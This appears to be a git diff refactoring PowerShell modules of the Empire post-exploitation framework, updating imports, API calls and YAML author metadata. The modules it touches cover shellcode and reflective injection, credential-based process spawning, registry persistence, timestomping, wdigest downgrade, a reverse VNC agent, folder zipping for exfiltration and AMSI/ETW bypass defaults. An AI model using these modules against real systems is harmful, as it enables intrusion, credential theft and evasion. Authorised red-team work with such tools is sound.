- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -58,10 +61,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'management/Invoke-PSInject.ps1'
+script_path: management/Invoke-PSInject.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py
index 4d7197da1..f5785ee0e 100644
--- a/empire/server/modules/powershell/management/reflective_inject.py
+++ b/empire/server/modules/powershell/management/reflective_inject.py
@@ -1,14 +1,11 @@
from __future__ import print_function
-import pathlib
import random
import string
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -16,7 +13,7 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -36,6 +33,7 @@ def rand_text_alphanumeric(
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
+
if (params["Obfuscate"]).lower() == "true":
launcher_obfuscate = True
else:
@@ -46,7 +44,7 @@ def rand_text_alphanumeric(
return handle_error_message("[!] ProcName must be specified.")
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -65,8 +63,8 @@ def rand_text_alphanumeric(
listener_name,
language="powershell",
encode=True,
- obfuscate=obfuscate,
- obfuscationCommand=obfuscate_command,
+ obfuscate=launcher_obfuscate,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -92,7 +90,7 @@ def rand_text_alphanumeric(
script_end += "\r\n"
script_end += "Remove-Item -Path %s" % full_upload_path
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/reflective_inject.yaml b/empire/server/modules/powershell/management/reflective_inject.yaml
index 5dab1408c..46dbdce83 100644
--- a/empire/server/modules/powershell/management/reflective_inject.yaml
+++ b/empire/server/modules/powershell/management/reflective_inject.yaml
@@ -1,12 +1,21 @@
name: Invoke-PSInject
authors:
- - '@harmj0y'
- - '@sixdub'
- - leechristensen (@tifkin_)
- - james fitts
-description: Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick
- which executes PS codefrom memory in a remote process
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@sixdub'
+ link: ''
+ - name: leechristensen (@tifkin_)
+ handle: ''
+ link: ''
+ - name: james fitts
+ handle: ''
+ link: ''
+description: Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick which executes PS codefrom memory in a
+ remote process
software: ''
+tactics: []
techniques:
- T1055
background: true
@@ -35,22 +44,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -62,10 +73,9 @@ options:
required: false
value: x64
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'management/Invoke-ReflectivePEInjection.ps1'
+script_path: management/Invoke-ReflectivePEInjection.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/restart.yaml b/empire/server/modules/powershell/management/restart.yaml
index e95b13e93..7963c32c8 100644
--- a/empire/server/modules/powershell/management/restart.yaml
+++ b/empire/server/modules/powershell/management/restart.yaml
@@ -1,17 +1,22 @@
name: Restart-Computer
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Restarts the specified machine.
software: ''
+tactics:
+ - TA0002
techniques:
- - T1064
+ - T1059
+ - T1059.003
background: false
output_extension:
needs_admin: false
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -19,4 +24,4 @@ options:
value: ''
script: |
"'Restarting computer';Restart-Computer -Force"
-script_end: ''
\ No newline at end of file
+script_end: ''
diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py
index db0847c1b..1eece83ae 100644
--- a/empire/server/modules/powershell/management/runas.py
+++ b/empire/server/modules/powershell/management/runas.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +12,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -36,7 +32,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -72,7 +67,7 @@ def generate(
else:
script_end += " -" + str(option) + " '" + str(values) + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/runas.yaml b/empire/server/modules/powershell/management/runas.yaml
index 1859805a3..480191244 100644
--- a/empire/server/modules/powershell/management/runas.yaml
+++ b/empire/server/modules/powershell/management/runas.yaml
@@ -1,8 +1,11 @@
name: Invoke-RunAs
authors:
- - rvrsh3ll (@424f424f)
+ - name: rvrsh3ll (@424f424f)
+ handle: ''
+ link: ''
description: Runas knockoff. Will bypass GPO path restrictions.
software: ''
+tactics: []
techniques:
- T1088
background: false
@@ -46,6 +49,6 @@ options:
description: Switch. Show the window for the created process instead of hiding it.
required: false
value: ''
-script_path: 'management/Invoke-RunAs.ps1'
+script_path: management/Invoke-RunAs.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py
index 8e8d91a8c..d598c548d 100644
--- a/empire/server/modules/powershell/management/shinject.py
+++ b/empire/server/modules/powershell/management/shinject.py
@@ -1,12 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +12,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# options
listener_name = params["Listener"]
proc_id = params["ProcId"].strip()
@@ -29,7 +26,7 @@ def generate(
arch = params["Arch"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -68,7 +65,7 @@ def generate(
)
script_end += "; shellcode injected into pid {}".format(str(proc_id))
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/shinject.yaml b/empire/server/modules/powershell/management/shinject.yaml
index 629059928..feec45bd2 100644
--- a/empire/server/modules/powershell/management/shinject.yaml
+++ b/empire/server/modules/powershell/management/shinject.yaml
@@ -1,10 +1,17 @@
name: Shinject
authors:
- - '@xorrior'
- - '@mattefistation'
- - '@monogas'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+ - name: ''
+ handle: '@mattefistation'
+ link: ''
+ - name: ''
+ handle: '@monogas'
+ link: ''
description: Injects a PIC shellcode payload into a target process, via Invoke-Shellcode
software: ''
+tactics: []
techniques:
- T1055
background: true
@@ -34,8 +41,7 @@ options:
required: true
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -43,10 +49,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'code_execution/Invoke-Shellcode.ps1'
+script_path: code_execution/Invoke-Shellcode.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/sid_to_user.yaml b/empire/server/modules/powershell/management/sid_to_user.yaml
index 9d62acbea..fe8022d28 100644
--- a/empire/server/modules/powershell/management/sid_to_user.yaml
+++ b/empire/server/modules/powershell/management/sid_to_user.yaml
@@ -1,8 +1,11 @@
name: SID-to-User
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Converts a specified domain sid to a user.
software: ''
+tactics: []
techniques:
- T1098
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -32,4 +35,4 @@ script: |
)
(New-Object System.Security.Principal.SecurityIdentifier("$sid")).Translate( [System.Security.Principal.NTAccount]).Value
}
-script_end: Invoke-sid_to_user {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-sid_to_user {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py
index d940f017a..bab878a27 100644
--- a/empire/server/modules/powershell/management/spawn.py
+++ b/empire/server/modules/powershell/management/spawn.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -38,7 +34,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -66,7 +62,7 @@ def generate(
% (parts[0], " ".join(parts[1:]), listener_name)
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/spawn.yaml b/empire/server/modules/powershell/management/spawn.yaml
index 3ee5ef7d0..bcf6c8997 100644
--- a/empire/server/modules/powershell/management/spawn.yaml
+++ b/empire/server/modules/powershell/management/spawn.yaml
@@ -1,8 +1,11 @@
name: Spawn
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Spawns a new agent in a new powershell.exe process.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -22,26 +25,28 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: SysWow64
description: Switch. Spawn a SysWow64 (32-bit) powershell.exe.
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -49,9 +54,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py
index 098eddf2c..8dfc3e3e7 100644
--- a/empire/server/modules/powershell/management/spawnas.py
+++ b/empire/server/modules/powershell/management/spawnas.py
@@ -1,13 +1,10 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +12,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,7 +30,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -49,7 +44,7 @@ def generate(
# extract all of our options
- launcher = main_menu.stagers.stagers["windows/launcher_bat"]
+ launcher = main_menu.stagertemplatesv2.new_instance("windows_launcher_bat")
launcher.options["Listener"]["Value"] = params["Listener"]
launcher.options["Delete"]["Value"] = "True"
if (params["Obfuscate"]).lower() == "true":
@@ -76,7 +71,7 @@ def generate(
script_end += '-Cmd "$env:public\debug.bat"'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/spawnas.yaml b/empire/server/modules/powershell/management/spawnas.yaml
index fb3ad752f..077335bef 100644
--- a/empire/server/modules/powershell/management/spawnas.yaml
+++ b/empire/server/modules/powershell/management/spawnas.yaml
@@ -1,9 +1,14 @@
name: Invoke-SpawnAs
authors:
- - rvrsh3ll (@424f424f)
- - '@harmj0y'
+ - name: rvrsh3ll (@424f424f)
+ handle: ''
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Spawn an agent with the specified logon credentials.
software: ''
+tactics: []
techniques:
- T1055
background: false
@@ -40,19 +45,22 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
-script_path: 'management/Invoke-RunAs.ps1'
+ value: mattifestation etw
+script_path: management/Invoke-RunAs.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/start-processasuser.yaml b/empire/server/modules/powershell/management/start-processasuser.yaml
index 548f20388..196e7c84e 100644
--- a/empire/server/modules/powershell/management/start-processasuser.yaml
+++ b/empire/server/modules/powershell/management/start-processasuser.yaml
@@ -1,9 +1,14 @@
name: Start-ProcessAsUser
authors:
- - '@mattifestation'
- - '@tifkin_'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
description: Executes a command using a specified set of credentials.
software: ''
+tactics: []
techniques:
- T1088
background: false
@@ -36,9 +41,8 @@ options:
required: false
value: ''
- name: NetOnly
- description: Start the process using the LOGON_NETCREDENTIALS_ONLY flag (equivalent
- of running "runas.exe /netonly")
+ description: Start the process using the LOGON_NETCREDENTIALS_ONLY flag (equivalent of running "runas.exe /netonly")
required: false
value: ''
-script_path: 'management/Start-ProcessAsUser.ps1'
-script_end: Start-ProcessAsUser {{ PARAMS }}
\ No newline at end of file
+script_path: management/Start-ProcessAsUser.ps1
+script_end: Start-ProcessAsUser {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py
index 2b3dc2eac..bc4639459 100644
--- a/empire/server/modules/powershell/management/switch_listener.py
+++ b/empire/server/modules/powershell/management/switch_listener.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict, Optional, Tuple
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,26 +11,27 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> Tuple[Optional[str], Optional[str]]:
-
# extract all of our options
listener_name = params["Listener"]
- if listener_name not in main_menu.listeners.activeListeners:
+ active_listener = main_menu.listenersv2.get_active_listener_by_name(
+ listener_name
+ )
+ if not active_listener:
return handle_error_message(
"[!] Listener '%s' doesn't exist!" % (listener_name)
)
- active_listener = main_menu.listeners.activeListeners[listener_name]
- listener_options = active_listener["options"]
+ listener_options = active_listener.options
- script = main_menu.listeners.loadedListeners[
- active_listener["moduleName"]
- ].generate_comms(listenerOptions=listener_options, language="powershell")
+ script = main_menu.listenertemplatesv2.new_instance(
+ active_listener.info["Name"]
+ ).generate_comms(listenerOptions=listener_options, language="powershell")
# signal the existing listener that we're switching listeners, and the new comms code
script = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (
@@ -41,7 +39,7 @@ def generate(
script,
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/switch_listener.yaml b/empire/server/modules/powershell/management/switch_listener.yaml
index 3476fe11b..213720517 100644
--- a/empire/server/modules/powershell/management/switch_listener.yaml
+++ b/empire/server/modules/powershell/management/switch_listener.yaml
@@ -1,9 +1,12 @@
name: Switch-Listener
authors:
- - '@harmj0y'
-description: Overwrites the listener controller logic with the agent with the logic
- from generate_comms() for the specified listener.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Overwrites the listener controller logic with the agent with the logic from generate_comms() for the specified
+ listener.
software: ''
+tactics: []
techniques:
- T1008
background: false
@@ -12,7 +15,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -23,4 +26,4 @@ options:
required: true
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/timestomp.yaml b/empire/server/modules/powershell/management/timestomp.yaml
index 242a635d7..59b2cf64b 100644
--- a/empire/server/modules/powershell/management/timestomp.yaml
+++ b/empire/server/modules/powershell/management/timestomp.yaml
@@ -1,8 +1,11 @@
name: Timestomp
authors:
- - '@obscuresec'
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
description: Executes time-stomp like functionality by invoking Set-MacAttribute.
software: ''
+tactics: []
techniques:
- T1099
background: false
@@ -45,7 +48,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -53,5 +56,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/Set-MacAttribute.ps1'
+script_path: management/Set-MacAttribute.ps1
script_end: Set-MacAttribute {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Timestomp completed'
diff --git a/empire/server/modules/powershell/management/user_to_sid.py b/empire/server/modules/powershell/management/user_to_sid.py
index 021b7bf52..763851832 100644
--- a/empire/server/modules/powershell/management/user_to_sid.py
+++ b/empire/server/modules/powershell/management/user_to_sid.py
@@ -1,30 +1,26 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
script = (
'(New-Object System.Security.Principal.NTAccount("%s","%s")).Translate([System.Security.Principal.SecurityIdentifier]).Value'
% (params["Domain"], params["User"])
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/user_to_sid.yaml b/empire/server/modules/powershell/management/user_to_sid.yaml
index b2466c041..82b7404a4 100644
--- a/empire/server/modules/powershell/management/user_to_sid.yaml
+++ b/empire/server/modules/powershell/management/user_to_sid.yaml
@@ -1,8 +1,11 @@
name: User-to-SID
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Converts a specified domain\user to a domain sid.
software: ''
+tactics: []
techniques:
- T1098
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -26,4 +29,4 @@ options:
required: true
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/vnc.yaml b/empire/server/modules/powershell/management/vnc.yaml
index e9006c84f..fdb329916 100644
--- a/empire/server/modules/powershell/management/vnc.yaml
+++ b/empire/server/modules/powershell/management/vnc.yaml
@@ -1,9 +1,12 @@
name: Invoke-Vnc
authors:
- - '@n00py'
-description: Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection,
- or binds to a specified port. Password authentication is supported.
+ - name: ''
+ handle: '@n00py'
+ link: https://twitter.com/n00py1
+description: Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password
+ authentication is supported.
software: ''
+tactics: []
techniques:
- T1021
background: true
@@ -35,5 +38,5 @@ options:
description: IP Address to use for reverse connection.
required: false
value: ''
-script_path: 'management/Invoke-Vnc.ps1'
-script_end: Invoke-Vnc {{ PARAMS }}
\ No newline at end of file
+script_path: management/Invoke-Vnc.ps1
+script_end: Invoke-Vnc {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/wdigest_downgrade.yaml b/empire/server/modules/powershell/management/wdigest_downgrade.yaml
index 2f289103c..3258110e9 100644
--- a/empire/server/modules/powershell/management/wdigest_downgrade.yaml
+++ b/empire/server/modules/powershell/management/wdigest_downgrade.yaml
@@ -1,9 +1,11 @@
name: Invoke-WdigestDowngrade
authors:
- - '@harmj0y'
-description: Sets wdigest on the machine to explicitly use logon credentials. Counters
- kb2871997.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Sets wdigest on the machine to explicitly use logon credentials. Counters kb2871997.
software: ''
+tactics: []
techniques:
- T1214
background: false
@@ -101,4 +103,4 @@ script: |
}
}
}
-script_end: Invoke-WdigestDowngrade {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-WdigestDowngrade {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/zipfolder.yaml b/empire/server/modules/powershell/management/zipfolder.yaml
index f2768807c..fcb642121 100644
--- a/empire/server/modules/powershell/management/zipfolder.yaml
+++ b/empire/server/modules/powershell/management/zipfolder.yaml
@@ -1,8 +1,11 @@
name: Invoke-ZipFolder
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Zips up a target folder for later exfiltration.
software: ''
+tactics: []
techniques:
- T1002
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -51,4 +54,4 @@ script: |
$ZipFile.CopyHere($Directory.FullName)
"Folder $Folder zipped to $ZipFileName"
}
-script_end: Invoke-ZipFolder {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-ZipFolder {{ PARAMS }}
diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py
index 1b2dc223f..bdcb630b1 100644
--- a/empire/server/modules/powershell/persistence/elevated/registry.py
+++ b/empire/server/modules/powershell/persistence/elevated/registry.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# trigger options
key_name = params["KeyName"]
@@ -76,7 +73,7 @@ def generate(
+ key_name
+ ";"
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -112,7 +109,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -167,7 +164,7 @@ def generate(
script += "'Registry persistence established " + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/elevated/registry.yaml b/empire/server/modules/powershell/persistence/elevated/registry.yaml
index ef4c877af..9524de861 100644
--- a/empire/server/modules/powershell/persistence/elevated/registry.yaml
+++ b/empire/server/modules/powershell/persistence/elevated/registry.yaml
@@ -1,10 +1,15 @@
name: Invoke-Registry
authors:
- - '@mattifestation'
- - '@harmj0y'
-description: Persist a stager (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- registry key. This has an easy detection/removal rating.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Persist a stager (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. This has
+ an easy detection/removal rating.
software: ''
+tactics: []
techniques:
- T1060
background: false
@@ -25,26 +30,28 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
